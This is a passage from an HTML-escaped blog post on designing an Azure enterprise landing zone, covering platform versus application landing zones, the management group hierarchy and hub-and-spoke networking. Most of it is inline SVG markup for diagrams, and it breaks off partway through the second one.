will build every layer of this architecture using production-grade Bicep and Terraform.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-the-anatomy-of-an-enterprise-landing-zone\"\u003e1. The Anatomy of an Enterprise Landing Zone\u003c/h2\u003e\n\u003cp\u003eA landing zone is not a single resource; it is a multi-layered ecosystem designed according to the \u003cstrong\u003eCloud Adoption Framework (CAF)\u003c/strong\u003e. Microsoft divides this ecosystem into eight distinct design areas, ranging from billing and identity to networking and operations.\u003c/p\u003e\n\u003ch3 id=\"platform-vs-application-landing-zones\"\u003ePlatform vs. Application Landing Zones\u003c/h3\u003e\n\u003cp\u003eThe most critical architectural distinction is between the \u003cstrong\u003ePlatform\u003c/strong\u003e and the \u003cstrong\u003eApplication\u003c/strong\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePlatform Landing Zones:\u003c/strong\u003e These are the shared services subscriptions (Connectivity, Identity, Management). They provide the hub VNet, the Entra ID tenant, and the central Log Analytics Workspace.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eApplication Landing Zones:\u003c/strong\u003e These are the workload subscriptions where your apps actually run. They are \u0026ldquo;consumers\u0026rdquo; of the platform, inheriting its security policies and peering back to the hub.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"alz-management-group-hierarchy\"\u003eALZ Management Group Hierarchy\u003c/h3\u003e\n\u003cp\u003eThe hierarchy is the \u0026ldquo;Gavel\u0026rdquo; of your landing zone. It determines how policies and permissions cascade down to resources.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 600 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,16 L 496,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,64 L 232,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,64 L 584,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,144 L 232,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,144 L 584,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,192 L 232,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,192 L 584,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,224 L 64,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,224 L 416,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,240 L 232,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,240 L 584,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,16 L 16,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,64 L 40,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,192 L 40,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,64 L 232,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,192 L 232,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,64 L 392,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,192 L 392,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,16 L 496,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,152 L 496,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,64 L 584,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,192 L 584,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,152 L 496,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='228' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='52' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='228' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='228' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"2-design-area-1-network-isolation-hub-and-spoke\"\u003e2. Design Area 1: Network Isolation (Hub-and-Spoke)\u003c/h2\u003e\n\u003cp\u003eNetworking is the foundation of isolation. In a landing zone, we use a \u003cstrong\u003eHub-and-Spoke\u003c/strong\u003e topology to centralize shared network services and enforce a single egress point to the internet.\u003c/p\u003e\n\u003ch3 id=\"hub-and-spoke-core-architecture\"\u003eHub-and-Spoke Core Architecture\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 384,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,32 L 248,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 216,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 216,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,160 L 384,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,208 L 80,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,224 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 48,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,144 L 216,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,16 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,160 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='232.000000,32.000000 220.000000,26.400000 220.000000,37.599998' fill='currentColor' transform='rotate(180.000000, 224.000000, 32.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' 